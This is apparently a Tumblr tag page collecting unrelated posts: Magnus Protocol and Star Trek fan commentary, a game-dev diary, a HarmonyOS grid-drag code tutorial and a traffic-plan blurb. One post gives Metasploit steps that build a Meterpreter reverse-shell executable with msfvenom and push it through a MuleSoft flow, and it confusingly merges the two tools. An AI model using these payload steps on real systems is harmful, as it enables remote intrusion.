#TMP: Scenarios

[statementlives]

sam sneaking into the magnus institute and falling through patterned floorboards is all but a parallel to jon sneaking into artefact storage and destroying the spiral table. history repeats itself. horrors have once again been released. fingers so very crossed.

[fishfacethefairygay]

Guys was [REDACTED] literally stuffing 8 people plus himself into one elevator?

[ender-of-the-sender]

Im bringing this back because we know that videos and audio files are in the system and that the computers will play them.

And if Jon did his little "audio recording by Jonathan Simms, Head Archivest of the Magnus Institute, London" bit Sam would lose his fucking mind.

At this point, I'm crossing every bone in my body that we get something even resembling this.

What if we get one of the corrupted statements Jon tried to upload on digital? Im just thinking like-

Chester rattling on about some rando statement:

<[KNOCKING]

Jon: Yes?

[DOOR CREAKS OPEN]

Martin: Oh sorry Jon, I was just wondering if you wanted some tea or-

Jon: No, thank you Martin.

Martin: Oh okay- sorry.

Jon: Goodbye, Martin.

[PAPER RUSTLING]

Jon: Right... statement resumes->

Sam: WHAT THE FUCK??? WAS THAT-

[rqg179]

listened to the magnus protocol trailer and i am constantly torn between the knowledge that i really liked mag200 as an ending for jon & martin, i personally love that we don't know what happened to them, and i think any appearance, even of a Somewhere Else version or alternate timeline version of them, would cheapen that. and the knowledge that if i hear jonathan sims talk in anything ever i will start crying immediately

[trek-tracks]

Hello! I got a whole shelf of old Star Trek novels from a yard sale and I'm deciding which to read first. Unfortunately none of them are D. Duane. Can you tell me what other Trek novels/authors you've enjoyed?

At the moment, I have far more trek books than I've actually read, partially because I have no self-control when it comes to acquiring them, partially because, when I started to mine them for blog content, reading them started to feel like homework (I thought I put marking pages with tabs behind me after grad school). This is also tough because Diane Duane's novels tend to be far and away my favourites (Spock's World, Doctor's Orders, and The Wounded Sky are all brilliant), but you already knew that! They're also a large chunk of what I've read. I've also read a bunch of Blish novelizations and some of the movie novelizations, which are fun but don't quite count in the same way, since they are retelling known stories.

However, there are a few I can recommend. I really enjoyed A Contest of Principles by Greg Cox, which feels like a real extended TOS episode; our main trio all have plenty to do, and the relationships are very fond and very true to the series. Shell Game by Melissa Crandall also has the character relationships I'm looking for. (Actually, both of these at one point pair Spock and Bones together while Kirk angsts from the sidelines while doing his own part of the mission, which is apparently a fruitful scenario).

J.M. Dillard also knows the characters really well. I enjoyed The Lost Years a lot, though it must be said that it is basically the crew breakup novel because it bridges from the show into TMP, so you'll just have to rewatch the movies after to remember that it all turns out all right in the end.

Jean Lorrah's The Vulcan Academy Murders is fun as long as you don't go in expecting a mystery you can't solve in 30 seconds and just want to appreciate the characters and learn more about Sarek and Amanda.

Brad Ferguson's Crisis on Centaurus is worth it for the backstory look into Jim and Bones' first meeting, as well as giving us some time with Joanna McCoy.

I can't actually fully recommend Carmen Carter's Dreams of the Raven, which has a very strange and queasily unethical romance subplot that doesn't land for several reasons and an unsatisfying ending, but it's an interesting look into McCoy with amnesia (and it did let me coin the term "Character Fondness Power Differential" while writing the review).

This ask did, however, remind me that I need to start making a dent in my book collection before buying more (I store them where I can't see them, so I'm constantly surprised by how many I actually have). I think I'm reading Howard Weinstein's The Covenant of the Crown next.

If you search my "trek books" tag, you'll see more!

[bonzos-number-1-fan]

TMAGP 23 Thoughts: Not Not NotThem

After quite the hiatus we're back with another guest writer. This time it's Harlan Guthrie of Malevolent fame. A show I likely won't ever get around to listening to but have heard nothing but good things about. So everyone go check it out if you liked this. This one is very obviously from a guest writer too. Its style and contents are pretty distinct from TMA. Which is not a bad thing by any means and it's a really great episode overall.

Spoilers for episode 23 below the cut.

There isn't a huge amount to dig into in the opening scene. I do like that the paperwork is a continuing process and it's pretty likely there will be some sort of pay of too it. Lena doesn't seem to be lying in this scene either. She really does seem to think that it's a prank. So assuming it's not a prank she doesn't seem to have as tight a grip on the office as she thinks she does. It's also interesting how engrossed it makes Sam but that might just be a character quirk rather than anything greater.

I really liked this incident but, honestly, I really don't have a load to say on this incident. I thought it was a really well written incident but quite explicit as incidents go and not a huge amount to dig into for larger puzzle pieces. It's also always tricky to know what's meaningful to the larger story when there is a guest writer. Jonny and Alex do give input but it's not like we know what that input is. Either way there is only two things I can think to mention here for it. The first is the time discrepancy in the post dates. The penultimate post comes a months after the final post. Which might not really mean much of anything to be honest. This is a doppelganger incident and those have typically had time discrepancies in them but the nature of this one doesn't lead to an easy explanation of that. So it might mean something, or it might be a mistake. I don't think it's a particularly important detail as of yet in either case.

The other bit in the mention of copper. Copper is a planetary metal, along with things like silver and mercury that have recently appeared, but the symbolic nature of those is a tricky subject to get into. Alchemy as a subject is mixed up with a lot of newer takes on things and so any its not always wise to assign too much in the way of importance to that. But that being said copper is the metal of Venus, both the planet and the god. Venus/Aphrodite obviously have some strong connection to this sort of incident. However part of the reason for copper being associated with Venus is copper's role as a metal to make mirrors from. That's a more compelling angle to this one for me. Alesis did pretty literally make their mirror double here.

Newman is a very on the nose name here too.

Sam and Celia's Institute sleuthing has not a whole lot of interest for me either if I'm honest. Basira and Helen are Basira and Helen, not much to say there until we meet them. The version of John and Martin Sam identified is weird though. It's weird in that it doesn't actually make any sense. He said they were "close to the right age" but that doesn't really track. It either means they were born at the right time, or died at the right time. But in either scenario it's sort of just nonsense. If they were born at the right time they died around 10. That's obviously possible but it raises a lot of questions about why Celia would be looking into some 10 year olds. If they died at the right age then they're offset by about 20 years which also doesn't track with anything else we've seen. The only other scenario is that she's not looking for TMP's John and Martin but rather TMA's as that could account for a time discrepancy but if that's the case neither of those ages are the right age. So all of that is probably a red herring.

Gwen and Alice opening up to each other is really nice to see too. Even though they do both hate each other outside of Sam and Alice they're the characters with the most history and it's great to see that having some weight. There isn't anything new here from our perspective, other than [Error] having too many eyes but that's not a big shock, but it's nice that the characters are actually talking about this stuff. It did seem pretty likely that they'd all be having their own insular adventures around the mid-season point but having them all come together like this is a nice thing to see.

I’ve not been “arsey”- bzzt

10/10

Great ep all around.

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Incident/CAT#R#DPHW Master Sheet and Terminology Sheet

DPHW Theory: 3536 seems pretty normal to me on this one. The more data I get the less I feel like anything comes up that needs explaining in my theory. Beyond the initial shift from my conceptions of these groups as fears to broader thematic elements I think this is proving to be pretty rock solid now. I'll keep this section around but I do think there will be not much of interest in these at this point.

CAT# Theory: 13 is great for my "It's not People/Places/Objects" essay. There wasn't an object in this one. Coral are animals and so count as people, the host is person, the Not Not NotThem also a person. If you say that animals count as objects it creates large problems in the theory. I really should have a sit down to puzzle this one out.

R# Theory: BC is interesting because initially I thought that was a bit low as the most similar case to this format was RedCanary's and that's AB. But that also had a lot more interaction and photos included which would bump it up for my theory there. So this one does actually check out.

Header talk: Transformation (Dysmorphic) -/- Doppleganger (Infection) is very peculiar. Daria's incident has a very similar header but Dysmorphic was the crosslink and Full was the subsection. Hard to know if it means anything but it's interesting in some sense of the word.

[self-made-purgatories]

Welcome to Chapter 2. Buckle up. Spoilers here. (I'm focusing on the horny and slashy bits, which are all B-plot, but if you're planning to read the book and want to discover these moments for yourself, you probably shouldn't read onward.)

Called it. It took 16 pages, not 10, and they're in her quarters, not the floor of the gymnasium. But Sulu gives her his fencing foil, she gives Sulu a ring she always wears, and then she infodumps about the phallic and yonic implications of their gifts through a lens of history and psychology. Which is the mating call of horny nerds, apparently (me: taking notes), because then they give each other the real thing.

2. This just in. Kirk's former love interest was not just a crush, it was a woman he slept with. Repeatedly. Surprise!

3. There is very little Spock in this chapter, but at one point Kirk thinks of Bones and this former lover of his as his "two best friends." Which, to me, can only mean that Spock is not on the list because he is in a category of his own (husband).

4. More new information. In the morning, Kirk is pouring his heart out to a dreadfully hungover and kindly long-suffering Bones. Kirk begins by saying, "Partnerships aren't usually exclusive relationships." Which, honestly, explains a lot about Kirk.

Then Kirk tells Bones this former lover of his is part of an established "partner family" of nine adults and their various children. They apparently invited Kirk to join their polycule more than once and he declined, but now he's having regrets. He tells Bones wistfully, "I felt comfortable with them I liked them all. I think... I think I could have loved them all."

Ah, yes, the heartsong of the Yearning Chaotic Bisexual:

"I could have loved them all."

(Just as we always suspected, the man is bi/pan and poly. It's right there in black and white.)

I just finished the first chapter of The Entropy Effect, the second book in the Star Trek novels series. So far in this book:

1. Kirk and Spock make a plan for a meeting with a person of some importance. In the middle of the meeting, Spock improvises a complete 180* change to their previous plan. Kirk follows his lead and just backs him up, no hesitation, trusting him to explain it later. (Perfectly normal captain - first officer bestie behavior, I'm sure.)

2. Kirk is reunited with a woman he used to have a crush on many years ago, and the two of them seem to be having some flirty chemistry. In the middle of their time together, Spock suddenly calls Kirk with a very mundane non-urgent request and Kirk basically goes, "Ope, my husband Spock needs me to go do something, guess I better drop everything and go, k byeeeeee"

3. Kirk and Spock have this adorable exchange:

"Mysteriouser and mysteriouser." He glanced at Spock, expecting a questioning gaze in response to his poor grammar. Kirk did not feel up to trying to explain Lewis Carroll to a Vulcan, much less Lewis Carroll misquoted. But then Spock said, straight-faced, "Curious, sir. Most curious, sir." Kirk laughed, surprise allowing him a sudden release of tension.

4. Bonus: Most of the crew is on shore leave. Bones is drunk.

5. Bonus bonus: Sulu has long hair and a (female) love interest. He is teaching her to fence, she is teaching him judo. She is "straddling his hips" (giving him a massage) by page 9. THEN she asks his first name. They are just friends!! for now. but, based on vibes, my guess is they are about ten pages away from fucking on the gymnasium floor. or maybe I've been reading too much fanfiction

This is all in chapter one.

Based on the image on the front cover (and the fact that the first novel in the series is the novelization of The Motion Picture), it appears this is a just-post-TMP-era story. The fact that this is older and wiser Kirk, Spock, and Sulu (and, in my headcanon, married Spirk) up to these shenanigans just warms my heart.

[spockfascinated]

As someone who has been a fan of Star Trek since TMP, I'll still never forget my confusion when I first saw the 2009 film. I don't remember exactly what I expected going into the film, other than a fun interpretation of how the crew of the Enterprise got together.

The moment that Vulcan actually collapsed in on itself, followed soon after by Uhura and Spock making out...it took that level of departure from canon for me to wonder what the actual fuck was going on. The next scenes explaining about the alternate timeline made it clear. But prior to that, watching Vulcan implode was viscerally upsetting.

Think about it: I was expecting the end result to be the start of TOS canon. Vulcan is very much there for the entirety of the Star Trek that I knew. So this scenario in which the existence of Vulcan was threatened - I absolutely expected the outcome to be that they saved Vulcan. Which absolutely did not happen.

Apropos of nothing, but I'm sure folks who had more details in their memory of canon suspected sooner in the movie. I personally did not recall that George Kirk lived a lot longer in the OG timeline.

[sonderfairy]

I need to start using tumblr more and just post random tmp related stuff that’s on my mind.

For example.

I keep catching myself daydreaming about future scenarios in the comic, like late s1 or even season 2 while I’m supposed to be actively working on the Current Episode. Like I’ll be sitting there, pen and ipad in hand, lost deep in thought picturing an entirely irrelevant scene for like 30 minutes.

That’s kinda how I actually wrote TMP in the first place back in 2021. I just spent hours and hours pacing and imagining until the story was all in my head and I’d write some stuff down here and there but, to this day, my plot points for most of the comic are outdated because I never rewrote them any time I came up with new stuff. And there’s still so much of the story that doesn’t exist in writing anywhere, it’s TERRIBLE. But I swear I’m not making it up as I go, I SWEAR /gen

[jennawynn]

Chronotrek: Wrath of Khan

After TMP, I figured McCoy would need a good reason to keep him in uniform, but I haven't seen it yet.

The red tunics are better than the jumpsuits of TMP but I miss the originals.

Kristie Alley? I haven't thought about her in a while.

Hey I know about the Kobayashi Maru. The unwinnable scenario that Kirk "won".

I am fairly certain a large part of the exterior shots of the Enterprise are the same as the first movie. They spent so much time on special effects in the first one, I guess they want to get their money's worth.

A revolving door in the reactor? lmao

Scotty brings a _bagpipe_ into space?

So like... he's not really dead, right? Cause I think I remember him being in the one about whales.

Oh well 3 is called the search for Spock so I guess not lol

[mulemasters]

Metasploit: Setting a Custom Payload Mulesoft

To transform and set a custom payload in Metasploit and Mulesoft, you need to follow specific steps tailored to each platform. Here are the detailed steps for each:

Metasploit: Setting a Custom Payload

Open Metasploit Framework:

msfconsole

Select an Exploit:

use exploit/multi/handler

Configure the Payload:

set payload <payload_name>

Replace <payload_name> with the desired payload, for example: set payload windows/meterpreter/reverse_tcp

Set the Payload Options:

set LHOST <attacker_IP> set LPORT <attacker_port>

Replace <attacker_IP> with your attacker's IP address and <attacker_port> with the port you want to use.

Generate the Payload:

msfvenom -p <payload_name> LHOST=<attacker_IP> LPORT=<attacker_port> -f <format> -o <output_file>

Example: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o /tmp/malware.exe

Execute the Handler:

exploit

Mulesoft: Transforming and Setting Payload

Open Anypoint Studio: Open your Mulesoft Anypoint Studio to design and configure your Mule application.

Create a New Mule Project:

Go to File -> New -> Mule Project.

Enter the project name and finish the setup.

Configure the Mule Flow:

Drag and drop a HTTP Listener component to the canvas.

Configure the HTTP Listener by setting the host and port.

Add a Transform Message Component:

Drag and drop a Transform Message component after the HTTP Listener.

Configure the Transform Message component to define the input and output payload.

Set the Payload:

In the Transform Message component, set the payload using DataWeave expressions. Example:

%dw 2.0 output application/json --- { message: "Custom Payload", timestamp: now() }

Add Logger (Optional):

Drag and drop a Logger component to log the transformed payload for debugging purposes.

Deploy and Test:

Deploy the Mule application.

Use tools like Postman or cURL to send a request to your Mule application and verify the custom payload transformation.

Example: Integrating Metasploit with Mulesoft

If you want to simulate a scenario where Mulesoft processes payloads for Metasploit, follow these steps:

Generate Payload with Metasploit:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o /tmp/malware.exe

Create a Mule Flow to Handle the Payload:

Use the File connector to read the generated payload file (malware.exe).

Transform the file content if necessary using a Transform Message component.

Send the payload to a specified endpoint or store it as required. Example Mule flow:

<file:read doc:name="Read Payload" path="/tmp/malware.exe"/> <dw:transform-message doc:name="Transform Payload"> <dw:set-payload><![CDATA[%dw 2.0 output application/octet-stream --- payload]]></dw:set-payload> </dw:transform-message> <http:request method="POST" url="http://target-endpoint" doc:name="Send Payload"> <http:request-builder> <http:header headerName="Content-Type" value="application/octet-stream"/> </http:request-builder> </http:request>

Following these steps, you can generate and handle custom payloads using Metasploit and Mulesoft. This process demonstrates how to effectively create, transform, and manage payloads across both platforms.

[codeofelm]

DAY 28 - Adding modal custom UI.

Hello!

Isn't this little modal UI pretty? Yes! Which is why I grabbed the prefab and put it into Project Dragon. I wanted Hints/Tips to pop up as a separate thing from the 'confirm' command. They didn't really need confirmation, it was more of a bigger notif for the player,

Easy enough, except when I started the game, the model UI didn't only appear when I called it. It appeared the whole time, even on the main menu. Whack!

The solution to this was fairly simple. On my new UI, I needed to make sure Visible on Awake was not ticked!

Now that tthat was out of the way, I needed to edit the prefab. The original had default text assets, but honestly they looked a little blurry. I wanted to use TextMeshPro, it's sexy, clean, and Naninovel's new default as of version 1.19.

I created TMP font assets, in the font that I wanted. Which I think was Georgia... for now. It will change once I finish the look and feel for the overall project. I followed a quick refresher for adding a new font to TextMeshPro (not hard to do at all), and got cracking.

I dragged in the Custom Variable Trigger script, and set the custom variable to "tip", as will be set in my story.

Then, to get my new modal UI to work with the command, I needed to add a dynamic string textmeshproUGUI text, onto the text object.

If you don't know how to do this, check out the calender tutorial for naninovel.

Now, I needed to test and make sure my UI and text string variable worked. I wrote a very short scenario, that would make the Hint UI popup. When it did this, the text would be blank, as nothing has been set up to the tip variable.

Then, I set the tip and showed the UI to make sure it came up. (Important to set the tip first so it already appears).

Now, everything works!

[fullmoonandstar]

Can I just say how good the ending of tma is? It works well as an ending, but you know what it can do even better? Serve as a jumping-off point both for fan writers and the original creators to write continuations.

When I didn't know how the series was ending, I wasn't as excited as I'm now after I know what their starting point for the Magnus protocol is because now they can do anything. A character died in the original timeline/universe? Maybe they are still alive here. Literally any what-if scenario you can think of, it is now possible. Characters could be avatars of different fears or have never been involved with them.

I'm certain we will see characters we already know in unfamiliar roles, and I'm excited.

There aren't many creators I would trust with a sequel to a beloved thing but Jonny and the folks at RQ are among them.

As a writer, I cannot stress enough how difficult it is to have a series this long and manage to bring it to an end that makes sense. There are a lot of big productions that just completely fall apart in the end; I'm talking million-dollar movies or series that just implode, so yeah, I have no worries for tmp

[harmonyos-next]

HarmonyOS NEXT Practical:Grid Element Drag and Drop Exchange

Objective: To achieve the exchange of grid elements when dragging and dropping them

Knowledge points: The Grid element drag and drop exchange function is often used in applications, such as when editing a nine grid image and dragging it to change the sorting, this function will be used. When dragging and swapping images in the grid, the arrangement of elements will change according to the position of the image drag, and there will be corresponding animation effects to achieve a good user experience.

Grid layout is generally generated by constructing Grid container components and sub components GridItem. Grid is used to set grid layout related parameters, and GridItem defines sub component related features. The grid layout contains grid elements. When the editMode property is set to true for the Grid container component, the editing mode of the Grid component can be enabled. After enabling the editing mode, it is necessary to bind gestures such as long press and drag to the GridItem component. Finally, it is necessary to add explicit animations and set corresponding animation effects. Finally, the dynamic process of dragging and swapping grid elements is presented.

The drag and drop exchange function of Grid grid elements is implemented through the combination of Grid container components, combined gestures, and explicit animations.

The Grid component can construct the layout of grid elements.

Combining gestures can achieve the effect of dragging and swapping elements.

Explicit animation can add animation effects during the process of dragging and swapping elements.

pay attention to The Grid component currently supports GridItem drag and drop animation. To activate the animation effect, set supportAnimation to true for the Grid container component. But only supports animation in scrolling mode (setting one of rowsTemplate or columnsTemplate). And drag and drop animations are only supported in Grid with size rules, not in cross row or cross column scenes. Therefore, in cross row or cross column scenarios, it is necessary to achieve drag and drop swapping effects through custom Gird layouts, custom gestures, and explicit animations.

In scenarios that require drag and drop swapping, the development process is as follows:

Implement Grid layout, start editMode editing mode, and enter editing mode to drag and drop GridItems inside Grid components.

Bind relevant gestures to the GridItem network element to enable drag and drop operations.

Use explicit animation animateTo to achieve animation effects during the drag and drop process of GridItem.

Actual combat:GridItemDragExchangeDemoPage [code] @Entry @Component struct GridItemDragExchangeDemoPage { numbers: number[] = [1, 2, 3, 4, 5, 6, 7, 8, 9] @State imageNum: number = 1

build() { Column() { Text('网格元素拖拽交换Demo') Grid() { ForEach(this.numbers, (item: number) => { GridItem() { Row() { Text(item.toString()) } .width(116) .aspectRatio(1) .draggable(false) .animation({ curve: Curve.Sharp, duration: 300 }) .backgroundColor(Color.Gray) .justifyContent(FlexAlign.Center) } }, (item: number) => item.toString()) } .width('100%') .scrollBar(BarState.Off) .columnsTemplate('1fr 1fr 1fr') .columnsGap(4) .rowsGap(4) .editMode(true) .supportAnimation(true) .onItemDragStart((_, itemIndex: number) => { this.imageNum = this.numbers[itemIndex]; return this.pixelMapBuilder(); }) .onItemDrop((_, itemIndex: number, insertIndex: number, isSuccess: boolean) => { if (!isSuccess || insertIndex >= this.numbers.length) { return; } this.changeIndex(itemIndex, insertIndex); }) } .height('100%') .width('100%')

}

changeIndex(index1: number, index2: number): void { let tmp = this.numbers.splice(index1, 1); this.numbers.splice(index2, 0, tmp[0]); }

@Builder pixelMapBuilder() { Column() { Row() { Text(this.imageNum.toString()) } .width(116) .aspectRatio(1) .draggable(false) .animation({ curve: Curve.Sharp, duration: 300 }) .backgroundColor(Color.Gray) .justifyContent(FlexAlign.Center) } .zIndex(1) .scale({ x: 1.05, y: 1.05 }) .translate({ x: 0, y: 0 }) } } [/code]

[rach---05]

Traffic Management Plan – Streamlining Safety and Efficiency

As urban areas grow busier, managing traffic effectively becomes a top priority. A traffic management plan (TMP) is essential for ensuring the safety and smooth flow of vehicles, cyclists, and pedestrians in various scenarios, from construction sites to public events.

What Is a Traffic Management Plan?

A TMP is a detailed strategy designed to control traffic and minimize disruptions during specific activities, such as roadwork, maintenance, or special events. It outlines temporary measures to enhance safety and maintain order on roads.

Core Elements of a Traffic Management Plan

Traffic Flow Analysis: Understanding existing patterns to plan diversions and minimize delays.

Clear Signage: Providing visible and concise information for drivers and pedestrians.

Safety Barriers: Protecting workers and road users in construction zones.

Emergency Access: Ensuring unhindered access for emergency services.

Communication Plans: Keeping the public informed about changes or disruptions.

Benefits of Implementing a TMP

Safety First: Reduces the risk of accidents and injuries.

Minimized Disruptions: Ensures smooth traffic flow despite road closures or diversions.

Compliance: Meets legal requirements for managing roadwork and public safety.

A well-designed traffic management plan is a critical tool for maintaining order, safety, and efficiency. Whether for a construction project or a large-scale event, TMPs play a vital role in ensuring everyone gets to their destination safely.